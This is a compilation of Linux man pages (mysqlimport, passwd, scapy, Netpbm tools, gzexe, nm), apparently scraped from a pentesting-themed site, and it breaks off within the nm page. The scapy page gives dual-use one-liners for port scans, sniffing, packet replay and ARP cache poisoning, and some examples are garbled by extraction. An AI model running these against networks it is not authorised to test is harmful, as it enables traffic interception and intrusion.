SYNOPSIS

mysqlimport [options] db_name textfile1

DESCRIPTION

The mysqlimport client provides a command-line interface to the LOAD DATA INFILE SQL statement. Most options to mysqlimport correspond directly to clauses of LOAD DATA INFILE syntax.

Invoke mysqlimport like this:

shell> mysqlimport [options] db_name textfile1 [textfile2 …]

For each text file named on the command line, mysqlimport strips any extension from the file name and uses the result to determine the name of the table into which to import the file’s contents. For example, files named patient.txt, patient.text, and patient all would be imported into a table named patient.

mysqlimport supports the following options, which can be specified on the command line or in the [mysqlimport] and [client] option file groups. mysqlimport also supports the options for processing option files.

·

–help, -?

Display a help message and exit.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

**–columns=**column_list, -c column_list

This option takes a comma-separated list of column names as its value. The order of the column names indicates how to match data file columns with table columns.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**plugin_name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–delete, -d

Empty the table before importing the text file.

·

–fields-terminated-by=…, –fields-enclosed-by=…, –fields-optionally-enclosed-by=…, –fields-escaped-by=…

These options have the same meaning as the corresponding clauses for LOAD DATA INFILE.

·

–force, -f

Ignore errors. For example, if a table for a text file does not exist, continue processing any remaining files. Without –force, mysqlimport exits if a table does not exist.

·

**–host=**host_name, -h host_name

Import data to the MariaDB server on the given host. The default host is localhost.

·

–ignore, -i

See the description for the –replace option.

·

–ignore-foreign-keys, -k

Disable foreign key checks while importing the data.

·

**–ignore-lines=**N

Ignore the first N lines of the data file.

·

–lines-terminated-by=…

This option has the same meaning as the corresponding clause for LOAD DATA INFILE. For example, to import Windows files that have lines terminated with carriage return/linefeed pairs, use –lines-terminated-by=" “. (You might have to double the backslashes, depending on the escaping conventions of your command interpreter.).

·

–local, -L

Read input files locally from the client host.

·

–lock-tables, -l

Lock all tables for writing before processing any text files. This ensures that all tables are synchronized on the server.

·

–low-priority

Use LOW_PRIORITY when loading the table. This affects only storage engines that use only table-level locking (such as MyISAM, MEMORY, and MERGE).

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlimport prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–replace, -r

The –replace and –ignore options control handling of input rows that duplicate existing rows on unique key values. If you specify –replace, new rows replace existing rows that have the same unique key value. If you specify –ignore, input rows that duplicate an existing row on a unique key value are skipped. If you do not specify either option, an error occurs when a duplicate key value is found, and the rest of the text file is ignored.

·

–silent, -s

Silent mode. Produce output only when errors occur.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

**–use-threads=**N

Load files in parallel using N threads.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

Here is a sample session that demonstrates use of mysqlimport:

shell> mysql -e ‘CREATE TABLE imptest(id INT, n VARCHAR(30))’ test shell> ed a 100 Max Sydow 101 Count Dracula . w imptest.txt 32 q shell> od -c imptest.txt 0000000 1 0 0 M a x S y d o w
1 0 0000020 1 C o u n t D r a c u l a

0000040
shell> mysqlimport --local test imptest.txt
test.imptest: Records: 2  Deleted: 0  Skipped: 0  Warnings: 0
shell> mysql -e 'SELECT * FROM imptest' test
+------+---------------+
| id   | n             |
+------+---------------+
|  100 | Max Sydow     |
|  101 | Count Dracula |
+------+---------------+

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1094 - Linux cli command passwd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command passwd and provides detailed information about the command passwd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the passwd.

NAME 🖥️ passwd 🖥️

change user password

SYNOPSIS

passwd [options] [LOGIN]

DESCRIPTION

The passwd command changes passwords for user accounts. A normal user may only change the password for their own account, while the superuser may change the password for any account. passwd also changes the account or associated password validity period.

Password Changes

The user is first prompted for their old password, if one is present. This password is then encrypted and compared against the stored password. The user has only one chance to enter the correct password. The superuser is permitted to bypass this step so that forgotten passwords may be changed.

After the password has been entered, password aging information is checked to see if the user is permitted to change the password at this time. If not, passwd refuses to change the password and exits.

The user is then prompted twice for a replacement password. The second entry is compared against the first and both are required to match in order for the password to be changed.

Then, the password is tested for complexity. passwd will reject any password which is not suitably complex. Care must be taken not to include the system default erase or kill characters.

Hints for user passwords

The security of a password depends upon the strength of the encryption algorithm and the size of the key space. The legacy UNIX System encryption method is based on the NBS DES algorithm. More recent methods are now recommended (see ENCRYPT_METHOD). The size of the key space depends upon the randomness of the password which is selected.

Compromises in password security normally result from careless password selection or handling. For this reason, you should not select a password which appears in a dictionary or which must be written down. The password should also not be a proper name, your license number, birth date, or street address. Any of these may be used as guesses to violate system security.

As a general guideline, passwords should be long and random. Its fine to use simple character sets, such as passwords consisting only of lowercase letters, if that helps memorizing longer passwords. For a password consisting only of lowercase English letters randomly chosen, and a length of 32, there are 26^32 (approximately 2^150) different possible combinations. Being an exponential equation, its apparent that the exponent (the length) is more important than the base (the size of the character set).

You can find advice on how to choose a strong password on http://en.wikipedia.org/wiki/Password_strength

OPTIONS

The options which apply to the passwd command are:

-a, –all

This option can be used only with -S and causes show status for all users.

-d, –delete

Delete a users password (make it empty). This is a quick way to disable a password for an account. It will set the named account passwordless.

-e, –expire

Immediately expire an accounts password. This in effect can force a user to change their password at the users next login.

-h, –help

Display help message and exit.

-i, –inactive INACTIVE

This option is used to disable an account after the password has been expired for a number of days. After a user account has had an expired password for INACTIVE days, the user may no longer sign on to the account.

-k, –keep-tokens

Indicate password change should be performed only for expired authentication tokens (passwords). The user wishes to keep their non-expired tokens as before.

-l, –lock

Lock the password of the named account. This option disables a password by changing it to a value which matches no possible encrypted value (it adds a ´!´ at the beginning of the password).

Note that this does not disable the account. The user may still be able to login using another authentication token (e.g. an SSH key). To disable the account, administrators should use usermod –expiredate 1 (this set the accounts expire date to Jan 2, 1970).

Users with a locked password are not allowed to change their password.

-n, –mindays MIN_DAYS

Set the minimum number of days between password changes to MIN_DAYS. A value of zero for this field indicates that the user may change their password at any time.

-q, –quiet

Quiet mode.

-r, –repository REPOSITORY

change password in REPOSITORY repository

-R, –root CHROOT_DIR

Apply changes in the CHROOT_DIR directory and use the configuration files from the CHROOT_DIR directory. Only absolute paths are supported.

-P, –prefix PREFIX_DIR

Apply changes to configuration files under the root filesystem found under the directory PREFIX_DIR. This option does not chroot and is intended for preparing a cross-compilation target. Some limitations: NIS and LDAP users/groups are not verified. PAM authentication is using the host files. No SELINUX support.

-S, –status

Display account status information. The status information consists of 7 fields. The first field is the users login name. The second field indicates if the user account has a locked password (L), has no password (NP), or has a usable password (P). The third field gives the date of the last password change. The next four fields are the minimum age, maximum age, warning period, and inactivity period for the password. These ages are expressed in days.

-u, –unlock

Unlock the password of the named account. This option re-enables a password by changing the password back to its previous value (to the value before using the -l option).

-w, –warndays WARN_DAYS

Set the number of days of warning before a password change is required. The WARN_DAYS option is the number of days prior to the password expiring that a user will be warned that their password is about to expire.

-x, –maxdays MAX_DAYS

Set the maximum number of days a password remains valid. After MAX_DAYS, the password is required to be changed.

Passing the number -1 as MAX_DAYS will remove checking a passwords validity.

-s, –stdin

This option is used to indicate that passwd should read the new password from standard input, which can be a pipe.

CAVEATS

Password complexity checking may vary from site to site. The user is urged to select a password as complex as he or she feels comfortable with.

Users may not be able to change their password on a system if NIS is enabled and they are not logged into the NIS server.

passwd uses PAM to authenticate users and to change their passwords.

FILES

/etc/passwd

User account information.

/etc/shadow

Secure user account information.

/etc/pam.d/passwd

PAM configuration for passwd.

EXIT VALUES

The passwd command exits with the following values:

0

success

1

permission denied

2

invalid combination of options

3

unexpected failure, nothing done

4

unexpected failure, passwd file missing

5

passwd file busy, try again

6

invalid argument to option

SEE ALSO

chpasswd(8), makepasswd(1), passwd(5), shadow(5), usermod(8).

The following web page comically (yet correctly) compares the strength of two different methods for choosing a password: “https://xkcd.com/936/"

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1095 - Linux cli command scapy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scapy and provides detailed information about the command scapy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scapy.

NAME 🖥️ scapy 🖥️

Interactive packet manipulation tool

SYNOPSIS

scapy [options]

DESCRIPTION

This manual page documents briefly the Scapy tool.

Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, parts of nmap, arpspoof, arp-sk, arping, tcpdump, tshark, p0f, …

Scapy uses the Python interpreter as a command board. That means that you can use directly Python language (assign variables, use loops, define functions, etc.) If you give a file a parameter when you run Scapy, your session (variables, functions, instances, …) will be saved when you leave the interpreter and restored the next time you launch Scapy.

The idea is simple. Those kinds of tools do two things : sending packets and receiving answers. That’s what Scapy does : you define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.

On top of this can be used to build more high-level functions, for example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.

OPTIONS

Options for Scapy are:

-h
display usage

-H
header-less mode, also reduces verbosity.

-d
increase log verbosity. Can be used many times.

-s FILE
use FILE to save/load session values (variables, functions, instances, …)

-p PRESTART_FILE
use PRESTART_FILE instead of $HOME/.config/scapy/prestart.py as pre-startup file

-P
do not run prestart file

-c STARTUP_FILE
use STARTUP_FILE instead of $HOME/.config/scapy/startup.py as startup file

-C
do not run startup file

COMMANDS

Only the vital commands to begin are listed here for the moment.

ls()
lists supported protocol layers. If a protocol layer is given as parameter, lists its fields and types of fields. If a string is given as parameter, it is used to filter the layers.

lsc()
lists scapy’s main user commands.

conf
this object contains the configuration.

FILES

$HOME/.config/scapy/prestart.py This file is run before Scapy core is loaded. Only the conf object is available. This file can be used to configure the CLI, configure parameters such as the conf.load_layers list to choose which layers will be loaded, or change the logging level (for instance):

conf.interactive_shell = "bpython"
log_loading.setLevel(logging.WARNING)
conf.load_layers.remove("bluetooth")
conf.load_layers.append("new_layer")

$HOME/.config/scapy/startup.py This file is run after Scapy is loaded. It can be used to configure more of Scapy behaviors, like un-registering layers:

conf.prog.pdfreader = "xpdf"
split_layers(UDP,DNS)

EXAMPLES

More verbose examples are available in the documentation at https://scapy.readthedocs.io/. Just run scapy and try the following commands in the interpreter.

Test the robustness of a network stack with invalid packets:

sr(IP(dst="172.16.1.1", ihl=2, options=["verb$2"], version=3)/ICMP(), timeout=2)

Packet sniffing and dissection (with a bpf filter or tshark-like output):

a=sniff(filter="tcp port 110")
a=sniff(prn = lambda x: x.show) 

Sniffed packet re-emission:

a=sniff(filter="tcp port 110")
sendp(a)

Pcap file packet re-emission:

sendp(rdpcap("file.cap"))

Manual TCP traceroute:

sr(IP(dst="www.google.com", ttl=(1,30))/TCP(seq=RandInt(), sport=RandShort(), dport=dport)

Protocol scan:

sr(IP(dst="172.16.1.28", proto=(1,254)))

ARP ping:

srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="172.16.1.1/24"))

ACK scan:

sr(IP(dst="172.16.1.28")/TCP(dport=(1,1024), flags="A"))

Passive OS fingerprinting:

sniff(prn=prnp0f) 

Active OS fingerprinting:

nmap_fp("172.16.1.232")

ARP cache poisoning:

sendp(Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target))

Reporting:

report_ports("192.168.2.34", (20,30))

SEE ALSO

The official website: https://scapy.net/
The GitHub Development repository: https://github.com/secdev/scapy/
The official documentation: https://scapy.readthedocs.io/en/latest/

BUGS

Does not give the right source IP for routes that use interface aliases.

May miss packets under heavy load. This is a restriction from python itself

Session saving is limited by Python ability to marshal objects. As a consequence, lambda functions and generators can’t be saved, which seriously reduce the usefulness of this feature.

BPF filters don’t work on Point-to-point interfaces.

AUTHOR

Philippe Biondi and the Scapy community.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1096 - Linux cli command pamstretch-gen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamstretch-gen and provides detailed information about the command pamstretch-gen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamstretch-gen.

.

NAME 🖥️ pamstretch-gen 🖥️

gen - use pamstretch and pamscale to scale by non-integer values

SYNOPSIS

pamstretch-gen N [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamstretch-gen is a program which uses pamstretch(1) and pamscale(1) to smoothly scale up a Netpbm image by any factor; it’s like a more general version of pamstretch (hence the name).

pamstretch-gen uses the -dropedge option on pamstretch.

OPTIONS

There are no command line options defined specifically for pamstretch-gen, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

The Netpbm global options -quiet and -plain did not exist on pamstretch-gen prior to version 10.86 (March 2019). -quiet did not work until version 10.91 (June 2020).

SEE ALSO

pamstretch(1) , pamscale(1)

AUTHOR

Russell Marks ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamstretch-gen.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1097 - Linux cli command py3rsa-sign

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-sign and provides detailed information about the command py3rsa-sign, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-sign.

NAME 🖥️ py3rsa-sign 🖥️

sign** - sign a file

SYNOPSIS

py3rsa-sign [OPTION]… PRIVATE_KEY HASH_METHOD

DESCRIPTION

Sign a file, output the signature. Choose the hash method from MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512

OPTIONS

-h, –help
show help message and exit

-i INPUT, **–input=**INPUT
name of the file to sign. read from stdin if not specified.

-i OUTPUT, **–output=**OUTPUT
name of the file to write the signature to. write to stdout if this option is not present.

**–keyform=**KEYFORM
key format of the private key - default PEM

AUTHOR

py3rsa-sign was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1098 - Linux cli command pamtohdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtohdiff and provides detailed information about the command pamtohdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtohdiff.

.

NAME 🖥️ pamtohdiff 🖥️

convert PAM image to horizontal difference image

SYNOPSIS

pamtohdiff [pamfile] [-verbose]

DESCRIPTION

This program is part of Netpbm(1) .

pamtohdiff takes a PAM (or PNM) image as input and produces a horizontal difference image version of it as output. A horizontal difference image is one where the samples in each row indicate the difference between the sample value in the corresponding sample of the input image and the sample directly above it (in the previous row) in the input image. The horizontal difference image has the property that if a row of the original image is identical to the row above it over a long extent, the corresponding row in the horizontal difference image will contain all zeroes. That makes it compress better than the original image.

Because the horizontal difference samples can be positive or negative, but PAM samples are unsigned integers, the samples in the horizontal difference image PAM are defined to be the difference modulus the range of the input (maxval + 1). This doesn’t lose any information, as it might seem, because: of the two differences that could result in the same pamtohdiff output value (e.g. if maxval is 99, +20 and -80 would both result in “20” in the output), only one is possible in context and the other would result, when reconstructing the original image, in a value less than 0 or greater than maxval.

Before the modulus operation, the values pamtohdiff computes are also biased by half the maxval. This is to make the results easier to inspect visually. Because of the bias, you can display the pamtohdiff output as if it were a PNM image. As long as none of your differences are more than half the maxval, large negative differences show up as dark spots, smaller negative differences are lighter, zero differences are medium intensity, and positive differences are light. If you want this to work even for images that have differences that exceed half the maxval, just use ppmdim 50 on the original image. To avoid losing information, though, do a pamdepth to double the maxval first.

Note that because of the transfer function just described, a difference of zero, which is most common, is represented by a PAM sample value in the output of one half the maxval.

The output PAM has a tuple type of “hdiff”.

You can use hdifftopam to recover the original image from a horizontal difference image PAM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtohdiff recognizes the following command line option:

-verbose
Currently no effect. This may change in future versions.

SEE ALSO

hdifftopam(1) , pamdepth(1)

AUTHOR

Bryan Henderson

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtohdiff.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1099 - Linux cli command gzexe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gzexe and provides detailed information about the command gzexe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gzexe.

NAME 🖥️ gzexe 🖥️

compress executable files in place

SYNOPSIS

gzexe name . . .

DESCRIPTION

The gzexe utility allows you to compress executables in place and have them automatically uncompress and execute when you run them (at a penalty in performance). For example if you execute ``gzexe /usr/bin/gdb’’ it will create the following two files:

    -rwxr-xr-x  1 root root 1026675 Jun  7 13:53 /usr/bin/gdb
    -rwxr-xr-x  1 root root 2304524 May 30 13:02 /usr/bin/gdb~

/usr/bin/gdb~ is the original file and /usr/bin/gdb is the self-uncompressing executable file. You can remove /usr/bin/gdb~ once you are sure that /usr/bin/gdb works properly.

This utility is most useful on systems with very small disks.

OPTIONS

-d
Decompress the given executables instead of compressing them.

SEE ALSO

gzip(1), znew(1), zmore(1), zcmp(1), zforce(1)

CAVEATS

The compressed executable is a shell script. This may create some security holes. In particular, the compressed executable relies on the PATH environment variable to find gzip and some standard utilities (basename, chmod, ln, mkdir, mktemp, rm, sleep, and tail).

BUGS

The gzexe command attempts to retain the original file attributes on the compressed executable, but you may have to fix them manually in some cases, using chmod or chown.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1100 - Linux cli command i686-w64-mingw32-nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-nm and provides detailed information about the command i686-w64-mingw32-nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-nm.

NAME 🖥️ i686-w64-mingw32-nm 🖥️

list symbols from object files

SYNOPSIS

nm [-A|-o|–print-file-name] [-a|–debug-syms] [-B|–format=bsd] [-C|–demangle[=style]] [-D|–dynamic] [-fformat|–format=format] [-g|–extern-only] [-h|–help] [–ifunc-chars=CHARS] [-j|–format=just-symbols] [-l|–line-numbers] [–inlines] [-n|-v|–numeric-sort] [-P|–portability] [-p|–no-sort] [-r|–reverse-sort] [-S|–print-size] [-s|–print-armap] [-t radix|–radix=radix] [-u|–undefined-only] [-U|–defined-only] [-V|–version] [-W|–no-weak] [-X 32_64] [–no-demangle] [–no-recurse-limit|–recurse-limit]] [–plugin name] [–size-sort] [–special-syms] [–synthetic] [–target=bfdname] [–unicode=method] [–with-symbol-versions] [–without-symbol-versions] [objfile…]

DESCRIPTION

GNU nm lists the symbols from object files objfile…. If no object files are listed as arguments, nm assumes the file a.out.

For each symbol, nm shows:

  • The symbol value, in the radix selected by options (see below), or hexadecimal by default.

  • The symbol type. At least the following types are used; others are, as well, depending on the object file format. If lowercase, the symbol is usually local; if uppercase, the symbol is global (external). There are however a few lowercase symbols that are shown for special global symbols (u, v and w).

    “A”
    The symbol’s value is absolute, and will not be changed by further linking.

    “B”

    “b”

    The symbol is in the BSS data section. This section typically contains zero-initialized or uninitialized data, although the exact behavior is system dependent.

    “C”

    “c”

    The symbol is common. Common symbols are uninitialized data. When linking, multiple common symbols may appear with the same name. If the symbol is defined anywhere, the common symbols are treated as undefined references. The lower case c character is used when the symbol is in a special section for small commons.

    “D”

    “d”

    The symbol is in the initialized data section.

    “G”

    “g”

    The symbol is in an initialized data section for small objects. Some object file formats permit more efficient access to small data objects, such as a global int variable as opposed to a large global array.

    “i”
